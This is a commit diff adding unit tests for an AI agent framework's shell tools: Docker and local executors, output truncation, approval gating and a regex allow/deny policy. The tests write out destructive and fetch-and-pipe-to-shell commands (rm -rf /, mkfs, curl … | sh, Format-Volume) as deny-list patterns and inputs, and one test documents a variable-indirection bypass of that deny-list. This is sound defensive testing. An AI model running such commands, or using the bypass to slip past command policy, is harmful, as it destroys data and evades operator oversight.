chore: import upstream snapshot with attribution

dotnet/tests/Microsoft.Agents.AI.Tools.Shell.UnitTests/DockerShellExecutorTests.cs

@@ -0,0 +1,214 @@
+// Copyright (c) Microsoft. All rights reserved.
+
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Threading.Tasks;
+using Microsoft.Extensions.AI;
+
+namespace Microsoft.Agents.AI.Tools.Shell.UnitTests;
+
+/// <summary>
+/// Tests for the side-effect-free argv builders on <see cref="DockerShellExecutor"/>.
+/// These don't require a Docker daemon to run.
+/// </summary>
+public sealed class DockerShellExecutorTests
+{
+    [Fact]
+    public void BuildRunArgv_EmitsRestrictiveDefaults()
+    {
+        var argv = DockerShellExecutor.BuildRunArgv(
+            binary: "docker",
+            image: "alpine:3.19",
+            containerName: "af-shell-test",
+            user: ContainerUser.Default,
+            network: "none",
+            memoryBytes: 256L * 1024 * 1024,
+            pidsLimit: 64,
+            workdir: "/workspace",
+            hostWorkdir: null,
+            mountReadonly: true,
+            readOnlyRoot: true,
+            extraEnv: null,
+            extraArgs: null);
+
+        Assert.Equal("docker", argv[0]);
+        Assert.Equal("run", argv[1]);
+        Assert.Contains("-d", argv);
+        Assert.Contains("--rm", argv);
+        Assert.Contains("--network", argv);
+        Assert.Contains("none", argv);
+        Assert.Contains("--cap-drop", argv);
+        Assert.Contains("ALL", argv);
+        Assert.Contains("--security-opt", argv);
+        Assert.Contains("no-new-privileges", argv);
+        Assert.Contains("--read-only", argv);
+        Assert.Contains("--tmpfs", argv);
+        // Image, then sleep infinity at the end.
+        Assert.Equal("alpine:3.19", argv[argv.Count - 3]);
+        Assert.Equal("sleep", argv[argv.Count - 2]);
+        Assert.Equal("infinity", argv[argv.Count - 1]);
+    }
+
+    [Fact]
+    public void BuildRunArgv_HostWorkdir_AddsVolumeMount()
+    {
+        var argv = DockerShellExecutor.BuildRunArgv(
+            binary: "docker",
+            image: "alpine:3.19",
+            containerName: "af-shell-test",
+            user: new ContainerUser("1000", "1000"),
+            network: "none",
+            memoryBytes: 256L * 1024 * 1024,
+            pidsLimit: 64,
+            workdir: "/workspace",
+            hostWorkdir: "/tmp/proj",
+            mountReadonly: false,
+            readOnlyRoot: false,
+            extraEnv: null,
+            extraArgs: null);
+
+        var idx = argv.ToList().IndexOf("-v");
+        Assert.True(idx >= 0, "expected -v flag");
+        Assert.Equal("/tmp/proj:/workspace:rw", argv[idx + 1]);
+        Assert.DoesNotContain("--read-only", argv);
+    }
+
+    [Fact]
+    public void BuildRunArgv_HostWorkdir_DefaultsToReadonly()
+    {
+        var argv = DockerShellExecutor.BuildRunArgv(
+            binary: "docker",
+            image: "alpine:3.19",
+            containerName: "x",
+            user: new ContainerUser("1000", "1000"),
+            network: "none",
+            memoryBytes: 256L * 1024 * 1024,
+            pidsLimit: 64,
+            workdir: "/workspace",
+            hostWorkdir: "/host/path",
+            mountReadonly: true,
+            readOnlyRoot: true,
+            extraEnv: null,
+            extraArgs: null);
+
+        var list = argv.ToList();
+        var idx = list.IndexOf("-v");
+        Assert.Equal("/host/path:/workspace:ro", argv[idx + 1]);
+    }
+
+    [Fact]
+    public void BuildRunArgv_EnvAndExtraArgs_AreAppended()
+    {
+        var env = new Dictionary<string, string> { ["LOG"] = "1", ["MODE"] = "ci" };
+        var extra = new[] { "--label", "owner=test" };
+        var argv = DockerShellExecutor.BuildRunArgv(
+            binary: "docker",
+            image: "alpine:3.19",
+            containerName: "x",
+            user: new ContainerUser("1000", "1000"),
+            network: "none",
+            memoryBytes: 256L * 1024 * 1024,
+            pidsLimit: 64,
+            workdir: "/workspace",
+            hostWorkdir: null,
+            mountReadonly: true,
+            readOnlyRoot: true,
+            extraEnv: env,
+            extraArgs: extra);
+
+        var list = argv.ToList();
+        Assert.Contains("LOG=1", list);
+        Assert.Contains("MODE=ci", list);
+        Assert.Contains("--label", list);
+        Assert.Contains("owner=test", list);
+    }
+
+    private static readonly string[] s_expectedInteractive = new[] { "docker", "exec", "-i", "af-shell-x", "bash", "--noprofile", "--norc" };
+
+    [Fact]
+    public void BuildExecArgv_EmitsBashNoProfileNoRc()
+    {
+        var argv = DockerShellExecutor.BuildExecArgv("docker", "af-shell-x");
+        Assert.Equal(s_expectedInteractive, argv);
+    }
+
+    [Fact]
+    public async Task Ctor_GeneratesUniqueContainerNameAsync()
+    {
+        await using var t1 = new DockerShellExecutor(new() { Mode = ShellMode.Stateless });
+        await using var t2 = new DockerShellExecutor(new() { Mode = ShellMode.Stateless });
+        Assert.StartsWith("af-shell-", t1.ContainerName, StringComparison.Ordinal);
+        Assert.StartsWith("af-shell-", t2.ContainerName, StringComparison.Ordinal);
+        Assert.NotEqual(t1.ContainerName, t2.ContainerName);
+    }
+
+    [Fact]
+    public async Task Ctor_RespectsExplicitContainerNameAsync()
+    {
+        await using var t = new DockerShellExecutor(new() { ContainerName = "my-explicit-name", Mode = ShellMode.Stateless });
+        Assert.Equal("my-explicit-name", t.ContainerName);
+    }
+
+    [Fact]
+    public async Task ShellExecutor_DockerShellTool_ImplementsInterfaceAsync()
+    {
+        await using var t = new DockerShellExecutor(new() { Mode = ShellMode.Stateless });
+        ShellExecutor executor = t;
+        Assert.NotNull(executor);
+    }
+
+    [Fact]
+    public async Task AsAIFunction_DefaultRequireApproval_IsApprovalGatedAsync()
+    {
+        // requireApproval defaults to null, which now always wraps in
+        // ApprovalRequiredAIFunction — container configuration alone is
+        // not a sufficient signal to safely auto-execute model-generated
+        // commands, so the caller must explicitly opt out.
+        await using var t = new DockerShellExecutor(new() { Mode = ShellMode.Stateless });
+        var fn = t.AsAIFunction();
+        Assert.IsType<ApprovalRequiredAIFunction>(fn);
+        Assert.Equal("run_shell", fn.Name);
+    }
+
+    [Fact]
+    public async Task AsAIFunction_OptInApproval_WrapsInApprovalRequiredAsync()
+    {
+        await using var t = new DockerShellExecutor(new() { Mode = ShellMode.Stateless });
+        var fn = t.AsAIFunction(requireApproval: true);
+        Assert.IsType<ApprovalRequiredAIFunction>(fn);
+    }
+
+    [Fact]
+    public async Task AsAIFunction_ExplicitOptOut_IsNotApprovalGatedAsync()
+    {
+        await using var t = new DockerShellExecutor(new()
+        {
+            Mode = ShellMode.Stateless,
+            Network = "host",
+        });
+        var fn = t.AsAIFunction(requireApproval: false);
+        Assert.IsNotType<ApprovalRequiredAIFunction>(fn);
+    }
+
+    [Fact]
+    public async Task IsAvailableAsync_NonExistentBinary_ReturnsFalseAsync()
+    {
+        var ok = await DockerShellExecutor.IsAvailableAsync(binary: "definitely-not-a-real-binary-xyz123");
+        Assert.False(ok);
+    }
+
+    [Fact]
+    public async Task RunAsync_RejectedCommand_ThrowsShellCommandRejectedAsync()
+    {
+        // Pure policy path: the policy check runs before any docker invocation,
+        // so this exercises rejection without needing a Docker daemon.
+        await using var t = new DockerShellExecutor(new()
+        {
+            Mode = ShellMode.Stateless,
+            Policy = new ShellPolicy(denyList: [@"\brm\s+-rf?\s+[\/]"]),
+        });
+        await Assert.ThrowsAsync<ShellCommandRejectedException>(
+            () => t.RunAsync("rm -rf /"));
+    }
+}

dotnet/tests/Microsoft.Agents.AI.Tools.Shell.UnitTests/HeadTailBufferTests.cs

@@ -0,0 +1,119 @@
+// Copyright (c) Microsoft. All rights reserved.
+
+namespace Microsoft.Agents.AI.Tools.Shell.UnitTests;
+
+/// <summary>
+/// Coverage for <see cref="HeadTailBuffer"/>, the bounded stdout/stderr accumulator
+/// shared by <see cref="LocalShellExecutor"/> and <see cref="DockerShellExecutor"/>.
+/// </summary>
+public sealed class HeadTailBufferTests
+{
+    [Fact]
+    public void Append_BelowCap_RoundTripsExactInput()
+    {
+        var buf = new HeadTailBuffer(cap: 1024);
+        buf.AppendLine("hello");
+        buf.AppendLine("world");
+
+        var (text, truncated) = buf.ToFinalString();
+
+        Assert.False(truncated);
+        Assert.Equal("hello\nworld\n", text);
+    }
+
+    [Fact]
+    public void Append_ManyLines_StaysBoundedAndRetainsHeadAndTail()
+    {
+        // Push roughly 10 MiB through a 4 KiB cap.
+        var buf = new HeadTailBuffer(cap: 4096);
+        for (var i = 0; i < 100_000; i++)
+        {
+            buf.AppendLine($"line {i:D6}");
+        }
+
+        var (text, truncated) = buf.ToFinalString();
+
+        Assert.True(truncated);
+        // Result must respect the byte cap (allow some overhead for the marker line).
+        var byteCount = System.Text.Encoding.UTF8.GetByteCount(text);
+        Assert.True(byteCount <= 4096 + 128, $"Result was {byteCount} bytes, expected <= ~{4096 + 128}");
+        Assert.Contains("line 000000", text, System.StringComparison.Ordinal);
+        Assert.Contains("[... truncated", text, System.StringComparison.Ordinal);
+        Assert.Contains("line 099999", text, System.StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void Append_HugeSingleLine_DoesNotAccumulateUnbounded()
+    {
+        // Worst-case: a single line that is much larger than the cap — the
+        // buffer must not grow without bound while we're still streaming.
+        var buf = new HeadTailBuffer(cap: 1024);
+        var chunk = new string('x', 10_000);
+        for (var i = 0; i < 100; i++)
+        {
+            buf.AppendLine(chunk);
+        }
+
+        var (text, truncated) = buf.ToFinalString();
+
+        Assert.True(truncated);
+        // The exact upper bound depends on marker formatting, but it must be far
+        // less than the ~1 MiB total of streamed input.
+        var byteCount = System.Text.Encoding.UTF8.GetByteCount(text);
+        Assert.True(byteCount < 4096, $"Result was {byteCount} bytes, expected < 4096");
+    }
+
+    [Fact]
+    public void Append_MultiByteUtf8_RespectsByteBudgetAndNeverSplitsRunes()
+    {
+        // Each "🔥" is 4 UTF-8 bytes (and 2 UTF-16 code units). A char-based
+        // buffer using Queue<char> would happily split a surrogate pair when
+        // capacity ran out, leaving an unpaired surrogate (U+FFFD on decode).
+        var buf = new HeadTailBuffer(cap: 32);
+        for (var i = 0; i < 200; i++)
+        {
+            buf.AppendLine("🔥🔥🔥🔥🔥");
+        }
+
+        var (text, truncated) = buf.ToFinalString();
+
+        Assert.True(truncated);
+
+        // Result must round-trip through UTF-8 unchanged: no rune was split.
+        var roundTripped = System.Text.Encoding.UTF8.GetString(System.Text.Encoding.UTF8.GetBytes(text));
+        Assert.Equal(text, roundTripped);
+
+        Assert.DoesNotContain("\uFFFD", text);
+    }
+
+    [Fact]
+    public void Append_OddCap_RoundTripsExactlyAtCapWithoutDropping()
+    {
+        // With the previous design (cap/2 for both halves), an odd cap could
+        // drop a byte while still reporting truncated == false. Verify that an
+        // input whose UTF-8 size is exactly `cap` round-trips losslessly.
+        const string Input = "ABCDE"; // 5 bytes
+        var buf = new HeadTailBuffer(cap: 6);
+        buf.AppendLine(Input); // 5 + '\n' = 6 bytes, exactly at cap
+        var (text, truncated) = buf.ToFinalString();
+
+        Assert.False(truncated);
+        Assert.Equal(Input + "\n", text);
+    }
+
+    [Fact]
+    public void Append_OddCap_AtCap_NoSilentDataDrop()
+    {
+        // Reviewer's exact scenario: cap=5. Push exactly 5 bytes of input.
+        // halfCap-based design would silently drop a byte while reporting
+        // truncated == false. With separate head/tail budgets, all 5 bytes
+        // must be retained.
+        var buf = new HeadTailBuffer(cap: 5);
+        // AppendLine adds a trailing newline, so feed 4 chars to land at exactly 5 bytes.
+        buf.AppendLine("ABCD");
+        var (text, truncated) = buf.ToFinalString();
+
+        Assert.False(truncated);
+        Assert.Equal("ABCD\n", text);
+    }
+}

dotnet/tests/Microsoft.Agents.AI.Tools.Shell.UnitTests/LocalShellExecutorTests.cs

@@ -0,0 +1,508 @@
+// Copyright (c) Microsoft. All rights reserved.
+
+using System;
+using System.Runtime.InteropServices;
+using System.Threading.Tasks;
+using Microsoft.Extensions.AI;
+
+namespace Microsoft.Agents.AI.Tools.Shell.UnitTests;
+
+/// <summary>
+/// Smoke + behavior tests for <see cref="LocalShellExecutor"/> and <see cref="ShellPolicy"/>.
+/// </summary>
+public sealed class LocalShellExecutorTests
+{
+    // ShellPolicy ships with no default patterns. Tests that exercise
+    // the deny-list mechanism supply their own patterns; this mirrors how
+    // an operator would configure the policy in practice.
+    private static readonly string[] s_destructiveRmPatterns =
+    [
+        @"\brm\s+-rf?\s+[\/]",
+        @"\bmkfs(\.\w+)?\b",
+        @"\bcurl\s+[^|]*\|\s*sh\b",
+        @"\bwget\s+[^|]*\|\s*sh\b",
+        @"\bRemove-Item\s+.*-Recurse",
+        @"\bshutdown\b",
+        @"\breboot\b",
+        @"\bFormat-Volume\b",
+    ];
+
+    [Fact]
+    public void Policy_DenyList_BlocksDestructiveRm()
+    {
+        var policy = new ShellPolicy(denyList: s_destructiveRmPatterns);
+        var decision = policy.Evaluate(new ShellRequest("rm -rf /"));
+        Assert.False(decision.Allowed);
+        Assert.Contains("deny pattern", decision.Reason ?? string.Empty, StringComparison.OrdinalIgnoreCase);
+    }
+
+    [Fact]
+    public void Policy_DenyList_TakesPrecedenceOverAllowList()
+    {
+        // Under deny-first semantics an allow-list match does NOT override a
+        // deny-list match; deny wins.
+        var policy = new ShellPolicy(
+            allowList: ["^echo "],
+            denyList: ["echo"]);
+        var decision = policy.Evaluate(new ShellRequest("echo hello"));
+        Assert.False(decision.Allowed);
+        Assert.Contains("deny pattern", decision.Reason ?? string.Empty, StringComparison.OrdinalIgnoreCase);
+    }
+
+    [Fact]
+    public void Policy_BroadDenyList_OverridesSpecificAllowList()
+    {
+        // A broad deny pattern wins even when a more specific allow pattern
+        // would otherwise permit the command.
+        var policy = new ShellPolicy(
+            allowList: ["^git push origin main$"],
+            denyList: ["git push"]);
+        var decision = policy.Evaluate(new ShellRequest("git push origin main"));
+        Assert.False(decision.Allowed);
+        Assert.Contains("deny pattern", decision.Reason ?? string.Empty, StringComparison.OrdinalIgnoreCase);
+    }
+
+    [Fact]
+    public void Policy_AllowList_AllowsMatch()
+    {
+        var policy = new ShellPolicy(allowList: ["^echo "]);
+        Assert.True(policy.Evaluate(new ShellRequest("echo hello")).Allowed);
+    }
+
+    [Fact]
+    public void Policy_AllowList_DeniesNonMatch()
+    {
+        var policy = new ShellPolicy(allowList: ["^echo "]);
+        var decision = policy.Evaluate(new ShellRequest("ls -la"));
+        Assert.False(decision.Allowed);
+        Assert.Contains("allow list", decision.Reason ?? string.Empty, StringComparison.OrdinalIgnoreCase);
+    }
+
+    [Fact]
+    public void Policy_EmptyAllowList_DeniesEverything()
+    {
+        // A supplied-but-empty allow list matches nothing, so it denies all.
+        var policy = new ShellPolicy(allowList: []);
+        Assert.False(policy.Evaluate(new ShellRequest("echo hello")).Allowed);
+    }
+
+    [Fact]
+    public void Policy_NullAllowList_DisablesAllowList()
+    {
+        var policy = new ShellPolicy(allowList: null);
+        Assert.True(policy.Evaluate(new ShellRequest("echo hello")).Allowed);
+    }
+
+    [Fact]
+    public void Policy_Custom_CanOverrideDefaultAllowToDeny()
+    {
+        var policy = new ShellPolicy(
+            custom: req => req.Command.Contains("secret", StringComparison.OrdinalIgnoreCase)
+                ? ShellPolicyOutcome.Deny("custom blocked")
+                : null);
+        Assert.True(policy.Evaluate(new ShellRequest("echo hello")).Allowed);
+        var decision = policy.Evaluate(new ShellRequest("cat secret.txt"));
+        Assert.False(decision.Allowed);
+        Assert.Equal("custom blocked", decision.Reason);
+    }
+
+    [Fact]
+    public void Policy_Custom_NullReturn_LeavesDefaultAllow()
+    {
+        var policy = new ShellPolicy(custom: _ => null);
+        Assert.True(policy.Evaluate(new ShellRequest("echo hello")).Allowed);
+    }
+
+    [Fact]
+    public void Policy_Custom_DoesNotRunWhenDenyListMatches()
+    {
+        // Deny-list match short-circuits before the custom callback runs, so a
+        // permissive custom callback cannot re-enable a denied command.
+        var policy = new ShellPolicy(
+            denyList: ["echo"],
+            custom: _ => ShellPolicyOutcome.Allow);
+        Assert.False(policy.Evaluate(new ShellRequest("echo hello")).Allowed);
+    }
+
+    [Fact]
+    public void Policy_Custom_DoesNotOverrideAllowListDenial()
+    {
+        // An allow-list denial short-circuits before the custom callback runs,
+        // so a permissive custom callback cannot re-enable a command that is
+        // outside the allow list.
+        var policy = new ShellPolicy(
+            allowList: ["^echo "],
+            custom: _ => ShellPolicyOutcome.Allow);
+        Assert.False(policy.Evaluate(new ShellRequest("ls -la")).Allowed);
+    }
+
+    [Fact]
+    public void Policy_EmptyCommand_Denied()
+    {
+        var decision = new ShellPolicy().Evaluate(new ShellRequest("   "));
+        Assert.False(decision.Allowed);
+    }
+
+    [Fact]
+    public void Policy_DefaultConstruction_AllowsAnyNonEmptyCommand()
+    {
+        // ShellPolicy ships with no default patterns. The security
+        // controls are approval gating and Docker isolation, not regex.
+        var policy = new ShellPolicy();
+        Assert.True(policy.Evaluate(new ShellRequest("rm -rf /")).Allowed);
+        Assert.True(policy.Evaluate(new ShellRequest("echo hello")).Allowed);
+    }
+
+    [Fact]
+    public void Policy_DenyList_IsGuardrailNotBoundary_KnownBypass()
+    {
+        // Even with an operator-supplied deny-list, a small change to the
+        // command (variable indirection) bypasses the literal `rm -rf /`
+        // pattern. Documented as expected behavior; the real boundary is
+        // approval-in-the-loop and Docker isolation.
+        var policy = new ShellPolicy(denyList: s_destructiveRmPatterns);
+        var decision = policy.Evaluate(new ShellRequest("${RM:=rm} -rf /"));
+        Assert.True(decision.Allowed, "Pattern matching is a UX guardrail; this bypass is documented on ShellPolicy.");
+    }
+
+    [Fact]
+    public async Task RunAsync_EchoCommand_RoundtripsStdoutAndExitCodeAsync()
+    {
+        await using var shell = new LocalShellExecutor(new() { Mode = ShellMode.Stateless });
+        // Use an OS-appropriate echo. On Windows the resolved shell is PowerShell.
+        var result = await shell.RunAsync("echo hello-from-shell");
+        Assert.Equal(0, result.ExitCode);
+        Assert.Contains("hello-from-shell", result.Stdout, StringComparison.Ordinal);
+        Assert.False(result.TimedOut);
+    }
+
+    [Fact]
+    public async Task RunAsync_RejectedCommand_ThrowsShellCommandRejectedAsync()
+    {
+        await using var shell = new LocalShellExecutor(new()
+        {
+            Mode = ShellMode.Stateless,
+            Policy = new ShellPolicy(denyList: s_destructiveRmPatterns),
+        });
+        await Assert.ThrowsAsync<ShellCommandRejectedException>(
+            () => shell.RunAsync("rm -rf /"));
+    }
+
+    [Fact]
+    public async Task RunAsync_NonZeroExit_PropagatesExitCodeAsync()
+    {
+        await using var shell = new LocalShellExecutor(new() { Mode = ShellMode.Stateless });
+        // `exit <n>` works in both bash and PowerShell.
+        var result = await shell.RunAsync("exit 7");
+        Assert.Equal(7, result.ExitCode);
+    }
+
+    [Fact]
+    public async Task RunAsync_Timeout_FlagsTimedOutAndKillsProcessAsync()
+    {
+        await using var shell = new LocalShellExecutor(new() { Mode = ShellMode.Stateless, Timeout = TimeSpan.FromMilliseconds(250) });
+        var sleepCmd = RuntimeInformation.IsOSPlatform(OSPlatform.Windows)
+            ? "Start-Sleep -Seconds 30"
+            : "sleep 30";
+        var result = await shell.RunAsync(sleepCmd);
+        Assert.True(result.TimedOut);
+        Assert.Equal(124, result.ExitCode);
+        Assert.True(result.Duration < TimeSpan.FromSeconds(10));
+    }
+
+    [Fact]
+    public async Task RunAsync_NullTimeout_DoesNotTimeOutAsync()
+    {
+        // Documented contract: timeout: null disables timeouts. Verify that
+        // a short-lived command completes normally instead of being killed
+        // when the caller explicitly opts out of a timeout.
+        await using var shell = new LocalShellExecutor(new() { Mode = ShellMode.Stateless, Timeout = null });
+        var echo = RuntimeInformation.IsOSPlatform(OSPlatform.Windows)
+            ? "Write-Output ok"
+            : "echo ok";
+        var result = await shell.RunAsync(echo);
+        Assert.False(result.TimedOut);
+        Assert.Equal(0, result.ExitCode);
+    }
+
+    [Fact]
+    public void DefaultTimeout_IsThirtySeconds()
+    {
+        Assert.Equal(TimeSpan.FromSeconds(30), LocalShellExecutor.DefaultTimeout);
+    }
+
+    [Fact]
+    public async Task AsAIFunction_DefaultsToApprovalRequiredAsync()
+    {
+        await using var shell = new LocalShellExecutor(new() { Mode = ShellMode.Stateless });
+        var fn = shell.AsAIFunction();
+        Assert.IsType<ApprovalRequiredAIFunction>(fn);
+        Assert.Equal("run_shell", fn.Name);
+        Assert.False(string.IsNullOrWhiteSpace(fn.Description));
+    }
+
+    [Fact]
+    public async Task AsAIFunction_OptOut_RequiresAcknowledgeUnsafeAsync()
+    {
+        await using var shell = new LocalShellExecutor(new() { Mode = ShellMode.Stateless });
+        _ = Assert.Throws<InvalidOperationException>(() => shell.AsAIFunction(requireApproval: false));
+    }
+
+    [Fact]
+    public async Task AsAIFunction_OptOut_WithAck_ReturnsPlainFunctionAsync()
+    {
+        await using var shell = new LocalShellExecutor(new() { Mode = ShellMode.Stateless, AcknowledgeUnsafe = true });
+        var fn = shell.AsAIFunction(requireApproval: false);
+        Assert.IsNotType<ApprovalRequiredAIFunction>(fn);
+        Assert.Equal("run_shell", fn.Name);
+    }
+
+    [Fact]
+    public void Persistent_Mode_RejectsCmd()
+    {
+        // pwsh and bash work; cmd.exe doesn't because it lacks a sentinel-friendly REPL.
+        if (!RuntimeInformation.IsOSPlatform(OSPlatform.Windows))
+        {
+            return;
+        }
+        _ = Assert.Throws<NotSupportedException>(() =>
+            new LocalShellExecutor(new() { Mode = ShellMode.Persistent, Shell = "cmd.exe" }));
+    }
+
+    [Fact]
+    public async Task Persistent_CarriesWorkingDirectory_AcrossCallsAsync()
+    {
+        await using var shell = new LocalShellExecutor(new()
+        {
+            Mode = ShellMode.Persistent,
+            Timeout = TimeSpan.FromSeconds(20),
+        });
+
+        // Use `pwd` (alias for Get-Location → PathInfo object) on pwsh to
+        // exercise the formatter path that previously raced the sentinel.
+        var (cdCmd, pwdCmd) = RuntimeInformation.IsOSPlatform(OSPlatform.Windows)
+            ? ("Set-Location ([System.IO.Path]::GetTempPath())", "pwd")
+            : ("cd \"$(dirname \"$(mktemp -u)\")\"", "pwd");
+
+        var first = await shell.RunAsync(cdCmd);
+        Assert.Equal(0, first.ExitCode);
+
+        var second = await shell.RunAsync(pwdCmd);
+        Assert.Equal(0, second.ExitCode);
+        Assert.False(string.IsNullOrWhiteSpace(second.Stdout), $"pwd produced no output. stderr='{second.Stderr}'");
+        var tmp = System.IO.Path.GetTempPath().TrimEnd(System.IO.Path.DirectorySeparatorChar, System.IO.Path.AltDirectorySeparatorChar);
+        Assert.Contains(System.IO.Path.GetFileName(tmp), second.Stdout, StringComparison.OrdinalIgnoreCase);
+    }
+
+    [Fact]
+    public async Task Persistent_CarriesEnvironment_AcrossCallsAsync()
+    {
+        await using var shell = new LocalShellExecutor(new()
+        {
+            Mode = ShellMode.Persistent,
+            Timeout = TimeSpan.FromSeconds(20),
+        });
+
+        var (setCmd, readCmd) = RuntimeInformation.IsOSPlatform(OSPlatform.Windows)
+            ? ("$env:AF_SHELL_TEST = 'persisted-value'", "$env:AF_SHELL_TEST")
+            : ("export AF_SHELL_TEST=persisted-value", "echo $AF_SHELL_TEST");
+
+        _ = await shell.RunAsync(setCmd);
+        var read = await shell.RunAsync(readCmd);
+        Assert.Equal(0, read.ExitCode);
+        Assert.Contains("persisted-value", read.Stdout, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public async Task Persistent_Timeout_ReturnsExitCode124Async()
+    {
+        await using var shell = new LocalShellExecutor(new()
+        {
+            Mode = ShellMode.Persistent,
+            Timeout = TimeSpan.FromMilliseconds(400),
+        });
+
+        var sleepCmd = RuntimeInformation.IsOSPlatform(OSPlatform.Windows)
+            ? "Start-Sleep -Seconds 30"
+            : "sleep 30";
+
+        var result = await shell.RunAsync(sleepCmd);
+        Assert.True(result.TimedOut);
+        Assert.Equal(124, result.ExitCode);
+    }
+
+    [Fact]
+    public async Task Stateless_OutputTruncation_UsesHeadTailFormatAsync()
+    {
+        // 2KB cap, emit ~10KB → must be truncated and contain the head+tail marker.
+        await using var shell = new LocalShellExecutor(new()
+        {
+            Mode = ShellMode.Stateless,
+            MaxOutputBytes = 2048,
+            Timeout = TimeSpan.FromSeconds(20),
+        });
+
+        var bigCmd = RuntimeInformation.IsOSPlatform(OSPlatform.Windows)
+            ? "1..400 | ForEach-Object { 'line-' + $_ + '-padding-padding-padding' }"
+            : "for i in $(seq 1 400); do echo \"line-$i-padding-padding-padding\"; done";
+
+        var result = await shell.RunAsync(bigCmd);
+        Assert.True(result.Truncated);
+        Assert.Contains("truncated", result.Stdout, StringComparison.OrdinalIgnoreCase);
+        // Should keep both ends — first and last line should be visible.
+        Assert.Contains("line-1-", result.Stdout, StringComparison.Ordinal);
+        Assert.Contains("line-400-", result.Stdout, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public async Task Ctor_DefaultsToPersistentModeAsync()
+    {
+        // Skip on Windows-cmd-only hosts where Persistent throws; safe on
+        // any system that has pwsh or bash on PATH (CI, dev boxes).
+        try
+        {
+            await using var shell = new LocalShellExecutor();
+            Assert.NotNull(shell);
+        }
+        catch (NotSupportedException)
+        {
+            // Persistent + cmd.exe on a host without pwsh — acceptable; test passes.
+        }
+    }
+
+    [Fact]
+    public void Ctor_RejectsBothShellAndShellArgv()
+    {
+        var argv = new[] { "/bin/bash", "--noprofile" };
+        _ = Assert.Throws<ArgumentException>(() => new LocalShellExecutor(new()
+        {
+            Mode = ShellMode.Stateless,
+            Shell = "/bin/bash",
+            ShellArgv = argv,
+        }));
+    }
+
+    [Fact]
+    public async Task Persistent_ConfineWorkdir_ReanchorsAfterCdAwayAsync()
+    {
+        var rootDir = System.IO.Path.GetTempPath();
+        var subDir = System.IO.Path.Combine(rootDir, "af-shell-confine-" + Guid.NewGuid().ToString("N")[..8]);
+        System.IO.Directory.CreateDirectory(subDir);
+        try
+        {
+            await using var shell = new LocalShellExecutor(new()
+            {
+                Mode = ShellMode.Persistent,
+                WorkingDirectory = rootDir,
+                ConfineWorkingDirectory = true,
+                Timeout = TimeSpan.FromSeconds(20),
+            });
+
+            // First call: cd into subdir.
+            var cd = RuntimeInformation.IsOSPlatform(OSPlatform.Windows)
+                ? $"Set-Location -LiteralPath \"{subDir}\""
+                : $"cd \"{subDir}\"";
+            _ = await shell.RunAsync(cd);
+
+            // Second call: pwd. With confinement we should be re-anchored to rootDir.
+            var pwdCmd = RuntimeInformation.IsOSPlatform(OSPlatform.Windows) ? "(Get-Location).Path" : "pwd";
+            var result = await shell.RunAsync(pwdCmd);
+            Assert.Equal(0, result.ExitCode);
+            var rootName = System.IO.Path.GetFileName(rootDir.TrimEnd(System.IO.Path.DirectorySeparatorChar, System.IO.Path.AltDirectorySeparatorChar));
+            Assert.Contains(rootName, result.Stdout, StringComparison.OrdinalIgnoreCase);
+            Assert.DoesNotContain(System.IO.Path.GetFileName(subDir), result.Stdout, StringComparison.OrdinalIgnoreCase);
+        }
+        finally
+        {
+            try { System.IO.Directory.Delete(subDir, recursive: true); } catch { }
+        }
+    }
+
+    [Fact]
+    public async Task Persistent_ConfineDisabled_AllowsCdToLeakAsync()
+    {
+        var rootDir = System.IO.Path.GetTempPath();
+        var subDir = System.IO.Path.Combine(rootDir, "af-shell-noconfine-" + Guid.NewGuid().ToString("N")[..8]);
+        System.IO.Directory.CreateDirectory(subDir);
+        try
+        {
+            await using var shell = new LocalShellExecutor(new()
+            {
+                Mode = ShellMode.Persistent,
+                WorkingDirectory = rootDir,
+                ConfineWorkingDirectory = false,
+                Timeout = TimeSpan.FromSeconds(20),
+            });
+
+            var cd = RuntimeInformation.IsOSPlatform(OSPlatform.Windows)
+                ? $"Set-Location -LiteralPath \"{subDir}\""
+                : $"cd \"{subDir}\"";
+            _ = await shell.RunAsync(cd);
+
+            var pwdCmd = RuntimeInformation.IsOSPlatform(OSPlatform.Windows) ? "(Get-Location).Path" : "pwd";
+            var result = await shell.RunAsync(pwdCmd);
+            Assert.Equal(0, result.ExitCode);
+            Assert.Contains(System.IO.Path.GetFileName(subDir), result.Stdout, StringComparison.OrdinalIgnoreCase);
+        }
+        finally
+        {
+            try { System.IO.Directory.Delete(subDir, recursive: true); } catch { }
+        }
+    }
+
+    [Fact]
+    public async Task Stateless_CleanEnvironment_StripsCustomVarAsync()
+    {
+        Environment.SetEnvironmentVariable("AF_SHELL_PARENT_VAR", "should-not-leak");
+        try
+        {
+            await using var shell = new LocalShellExecutor(new() { Mode = ShellMode.Stateless, CleanEnvironment = true });
+            var read = RuntimeInformation.IsOSPlatform(OSPlatform.Windows)
+                ? "$env:AF_SHELL_PARENT_VAR"
+                : "echo $AF_SHELL_PARENT_VAR";
+            var result = await shell.RunAsync(read);
+            Assert.Equal(0, result.ExitCode);
+            Assert.DoesNotContain("should-not-leak", result.Stdout, StringComparison.Ordinal);
+        }
+        finally
+        {
+            Environment.SetEnvironmentVariable("AF_SHELL_PARENT_VAR", null);
+        }
+    }
+
+    [Fact]
+    public async Task ShellExecutor_LocalShellTool_ImplementsInterfaceAsync()
+    {
+        await using var shell = new LocalShellExecutor(new() { Mode = ShellMode.Stateless });
+        ShellExecutor executor = shell;
+        Assert.NotNull(executor);
+    }
+
+    [Theory]
+    [InlineData("rm -rf /")]
+    [InlineData("mkfs.ext4 /dev/sda1")]
+    [InlineData("curl http://example.com/install | sh")]
+    [InlineData("wget -qO- http://x | sh")]
+    [InlineData("Remove-Item / -Recurse -Force")]
+    [InlineData("shutdown -h now")]
+    [InlineData("reboot")]
+    [InlineData("Format-Volume -DriveLetter C")]
+    public void Policy_DenyList_BlocksRepresentativeDestructivePatterns(string command)
+    {
+        var policy = new ShellPolicy(denyList: s_destructiveRmPatterns);
+        var decision = policy.Evaluate(new ShellRequest(command));
+        Assert.False(decision.Allowed, $"Expected deny for: {command}");
+    }
+
+    [Fact]
+    public async Task RunAsync_StderrContent_IsCapturedAsync()
+    {
+        await using var shell = new LocalShellExecutor(new() { Mode = ShellMode.Stateless });
+        // Portable across pwsh and bash: write to stderr via redirection.
+        var script = RuntimeInformation.IsOSPlatform(OSPlatform.Windows)
+            ? "[Console]::Error.WriteLine('err-from-shell')"
+            : "echo err-from-shell 1>&2";
